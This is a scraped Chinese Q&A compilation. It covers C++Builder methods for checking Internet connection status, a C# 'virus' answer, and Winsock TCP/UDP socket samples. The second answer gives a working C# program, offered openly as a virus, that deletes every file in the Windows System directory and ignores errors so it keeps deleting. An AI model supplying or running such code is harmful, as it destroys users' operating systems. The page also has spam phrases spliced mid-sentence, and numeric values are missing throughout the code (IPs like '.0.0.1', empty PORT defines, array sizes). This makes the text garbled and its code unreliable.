1.如何判断连接上了winsock
2.求个 C#病毒源代码 请注明此代码作用 谢谢!
3.linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。谢谢
如何判断连接上了winsock
五种查询Internet连接状态[含IP]的方法
1.Powersock控件法:
这种方法最简单,利用FastNet页的Powersock控件的LocalIP属性即可判断:
if(Powersock1->LocalIP==".0.0.1"):在线
else:离线
特点:[1]判断连接状态,[2]获得本地IP。引流源码网站
2.使用URL.DLL的InetIsOffline(0)函数:
Win2K:URL.DLL存放在\SYSTEM\;
Win9x:URL.DLL存放在\SYSTEM\;
用GetSystemDirectory(...)得到系统目录。
InetIsOffline(0)返回值:
TRUE:离线;FALSE:在线。
特点:判断连接状态。
3.WinSock编程法:见程序
特点:[1]判断连接状态;[2]获得本地IP和主机名。
4.WinInet.DLL的InternetGetConnectedState(&dwFlag,0)函数:
注意:为使用该函数,须在项目文件中加入:USELIB("WinInet.LIB")
特点:获得较详的连接描述!
5.RASAPI.DLL的163 http源码RasEnumConnections函数:
要使用该"枚举所有活动连接"函数,必须:
#include"ras.h"。
若连接数>0:本机当前已连入Internet;
否则:本机当前未连入Internet;
源码如下,在[BCB5+WIN2K+拨号上网]下通过(N字头的为菜单项):
-------------Powersock控件法-----------------------------------------
void__fastcallTForm1::NClick(TObject*Sender)
{
if(Powersock1->LocalIP==".0.0.1")
ShowMessage("未连接:"+Powersock1->LocalIP);
elseShowMessage("已连接:"+Powersock1->LocalIP);
}
-------------URL.DLL的InetIsOffline函数法----------------------------
HINSTANCEhDLL;
typedefbool__stdcall(*FUN)(int);定义DLL函数指针FUN
FUNisOffLine;
void__fastcallTForm1::NClick(TObject*Sender)
{
charBuffer[MAX_PATH];
GetSystemDirectory(Buffer,MAX_PATH);
hDLL=LoadLibrary((AnsiString(Buffer)+"\\URL.DLL").c_str());
if(hDLL==NULL){ ShowMessage("CannotloadURL.DLL!Return...");return;}
isOffLine=(FUN)GetProcAddress(hDLL,"InetIsOffline");
if(isOffLine==NULL){ ShowMessage("CannotloadInetIsOffline(int),Return...");return;}
if(!isOffLine(0))ShowMessage("已连接");
elseShowMessage("未连接");
FreeLibrary(hDLL);
}
------------WinSock法------------------------------------------------
void__fastcallTForm1::NClick(TObject*Sender)
{
WORDwVersionRequested;
WSADATAwsaData;
wVersionRequested=MAKEWORD(1,1);StartupWinSock
WSAStartup(wVersionRequested,&wsaData);
-----------------------------------------
hostent*p;char*p2;chars[];
gethostname(s,);Getthecomputername
p=gethostbyname(s);
p2=inet_ntoa(*((in_addr*)p->h_addr));GettheIpAddress
-----------------------------------------
AnsiStringLocationIP=p2;
if(LocationIP==".0.0.1")
ShowMessage("未连接:"+LocationIP);
elseShowMessage("已连接:"+LocationIP);
WSACleanup();
}
-----------WinInet.DLL的InternetGetConnectedState函数法----------------
void__fastcallTForm1::NClick(TObject*Sender)
{
StaticText1->Caption="";StaticText2->Caption="";StaticText3->Caption="";
StaticText4->Caption="";StaticText5->Caption="";StaticText6->Caption="";
StaticText7->Caption="";
DWORDdwFlag;
InternetGetConnectedState(&dwFlag,0);
if(dwFlag&INTERNET_CONNECTION_MODEM)StaticText1->Caption="Yes";MODEM连接
elseStaticText1->Caption="No";
if(dwFlag&INTERNET_CONNECTION_LAN)StaticText2->Caption="Yes";LAN连接
elseStaticText2->Caption="No";
if(dwFlag&INTERNET_CONNECTION_PROXY)StaticText3->Caption="Yes";代理连接
elseStaticText3->Caption="No";
---------检查是否连接-------------------------------------------
if(InternetGetConnectedState(NULL,0))StaticText4->Caption="Yes";在线
elseStaticText4->Caption="No";
if(dwFlag&INTERNET_CONNECTION_OFFLINE)StaticText5->Caption="Yes";//离线。注:不好用!
elseStaticText5->Caption="No";
----------------------------------------------------------------
if(dwFlag&INTERNET_RAS_INSTALLED)StaticText6->Caption="Yes";
elseStaticText6->Caption="No";
if(dwFlag&INTERNET_CONNECTION_CONFIGURED)StaticText7->Caption="Yes";
elseStaticText7->Caption="No";
}
----------RASAPI.DLL的RasEnumConnections函数法---------------------------
#include"ras.h"
void__fastcallTForm1::NClick(TObject*Sender)
{
RASCONNRASconn[];活动连接数组
DWORDBuffSize;数组所占内存大小;
DWORDConnNum;活动连接数目
RASconn[0].dwSize=sizeof(RASCONN);必须指定一个连接[数组元素]的内存大小;
BuffSize=sizeof(RASCONN)*;
DWORDdwReturn=RasEnumConnections(RASconn,&BuffSize,&ConnNum);
if(dwReturn==0)
{
if(ConnNum>0)ShowMessage("已连接。当前激活连接数:"+AnsiString(ConnNum));
elseShowMessage("未连接。easycwmp源码分析当前激活连接数:"+AnsiString(ConnNum));
}
elseShowMessage("RasEnumConnections函数失败!");
}
求个 C#病毒源代码 请注明此代码作用 谢谢!
删除系统文件内的所有文件,不要运行!!!assets安装源码!
用到try,和catch,是为了当删到某些正运行的文件时出错,而程序可以绕过继续删,不停止。在线抢答 源码
FileInfo.Delete函数是将文件直接删除。
这是最低级的,还应该用到system.net,system.runtime等命名空间,加上一些winsock的api,就完美了。当然用C#编病毒绝对不是好选择,遇上没安。NET的电脑,没运行就卡了。
using System;
using System.IO;
class APP
{
static void Main()
{
DirectoryInfo d = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.System));
foreach (FileInfo f in d.GetFiles())
{
try
{
f.Delete();
}
catch(Exception ex)
{
}
}
}
}
linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。谢谢
源代码奉上,流程图。。。这个太简单了,你自己看看。。。。。。。
//TCP
//服务器端程序
#include< stdio.h >
#include< stdlib.h >
#include< windows.h >
#include< winsock.h >
#include< string.h >
#pragma comment( lib, "ws2_.lib" )
#define PORT
#define BACKLOG
#define TRUE 1
void main( void )
{
int iServerSock;
int iClientSock;
char *buf = "hello, world!\n";
struct sockaddr_in ServerAddr;
struct sockaddr_in ClientAddr;
int sin_size;
WSADATA WSAData;
if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化
{
printf( "initializationing error!\n" );
WSACleanup( );
exit( 0 );
}
if( ( iServerSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )
{
printf( "创建套接字失败!\n" );
WSACleanup( );
exit( 0 );
}
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons( PORT );//监视的端口号
ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP
memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );
if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )
{
printf( "bind调用失败!\n" );
WSACleanup( );
exit( 0 );
}
if( listen( iServerSock, BACKLOG ) == -1 )
{
printf( "listen调用失败!\n" );
WSACleanup( );
exit( 0 );
}
while( TRUE )
{
sin_size = sizeof( struct sockaddr_in );
iClientSock = accept( iServerSock, ( struct sockaddr * )&ClientAddr, &sin_size );
if( iClientSock == -1 )
{
printf( "accept调用失败!\n" );
WSACleanup( );
exit( 0 );
}
printf( "服务器连接到%s\n", inet_ntoa( ClientAddr.sin_addr ) );
if( send( iClientSock, buf, strlen( buf ), 0 ) == -1 )
{
printf( "send调用失败!" );
closesocket( iClientSock );
WSACleanup( );
exit( 0 );
}
}
}
/////客户端程序
#include< stdio.h >
#include< stdlib.h >
#include< windows.h >
#include< winsock.h >
#include< string.h >
#pragma comment( lib, "ws2_.lib" )
#define PORT
#define BACKLOG
#define TRUE 1
#define MAXDATASIZE
void main( void )
{
int iClientSock;
char buf[ MAXDATASIZE ];
struct sockaddr_in ServerAddr;
int numbytes;
// struct hostent *he;
WSADATA WSAData;
// int sin_size;
/* if( ( he = gethostbyname( "liuys" ) ) == NULL )
{
printf( "gethostbyname调用失败!" );
WSACleanup( );
exit( 0 );
}
*/
if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化
{
printf( "initializationing error!\n" );
WSACleanup( );
exit( 0 );
}
if( ( iClientSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )
{
printf( "创建套接字失败!\n" );
WSACleanup( );
exit( 0 );
}
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons( PORT );
// ServerAddr.sin_addr = *( ( struct in_addr * )he->h_addr );
ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP
memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );
if( connect( iClientSock, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) ) == -1 )
{
printf( "connect失败!" );
WSACleanup( );
exit( 0 );
}
numbytes = recv( iClientSock, buf, MAXDATASIZE, 0 );
if( numbytes == -1 )
{
printf( "recv失败!" );
WSACleanup( );
exit( 0 );
}
buf[ numbytes ] = '\0';
printf( "Received: %s", buf );
closesocket( iClientSock );
WSACleanup( );
}
/////UDP
//服务器
#include< stdio.h >
#include< string.h >
#include< winsock.h >
#include< windows.h >
#pragma comment( lib, "ws2_.lib" )
#define PORT
#define BACKLOG
#define TRUE 1
#define MAXDATASIZE
void main( void )
{
int iServerSock;
// int iClientSock;
int addr_len;
int numbytes;
char buf[ MAXDATASIZE ];
struct sockaddr_in ServerAddr;
struct sockaddr_in ClientAddr;
WSADATA WSAData;
if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )
{
printf( "initializationing error!\n" );
WSACleanup( );
exit( 0 );
}
iServerSock = socket( AF_INET, SOCK_DGRAM, 0 );
if( iServerSock == INVALID_SOCKET )
{
printf( "创建套接字失败!\n" );
WSACleanup( );
exit( 0 );
}
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons( PORT );//监视的端口号
ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP
memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );
if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )
{
printf( "bind调用失败!\n" );
WSACleanup( );
exit( 0 );
}
addr_len = sizeof( struct sockaddr );
numbytes = recvfrom( iServerSock, buf, MAXDATASIZE, 0, ( struct sockaddr * ) & ClientAddr, &addr_len );
if( numbytes == -1 )
{
printf( "recvfrom调用失败!\n" );
WSACleanup( );
exit( 0 );
}
printf( "got packet from %s\n", inet_ntoa( ClientAddr.sin_addr ) );
printf( "packet is %d bytes long\n", numbytes );
buf[ numbytes ] = '\0';
printf( "packet contains \"%s\"\n", buf );
closesocket( iServerSock );
WSACleanup( );
}
//客户端
#include< stdio.h >
#include< stdlib.h >
#include< windows.h >
#include< winsock.h >
#include< string.h >
#pragma comment( lib, "ws2_.lib" )
#define PORT
#define MAXDATASIZE
void main( void )
{
int iClientSock;
struct sockaddr_in ServerAddr;
int numbytes;
char buf[ MAXDATASIZE ] = { 0 };
WSADATA WSAData;
if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )
{
printf( "initializationing error!\n" );
WSACleanup( );
exit( 0 );
}
if( ( iClientSock = socket( AF_INET, SOCK_DGRAM, 0 ) ) == -1 )
{
printf( "创建套接字失败!\n" );
WSACleanup( );
exit( 0 );
}
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_port = htons( PORT );
ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP
memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );
numbytes = sendto( iClientSock, buf, strlen( buf ), 0, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) );
if( numbytes == -1 )
{
printf( "sendto调用失败!\n" );
WSACleanup( );
exit( 0 );
}
printf( "sent %d bytes to %s\n", numbytes, inet_ntoa( ServerAddr.sin_addr ) );
closesocket( iClientSock );
WSACleanup( );
}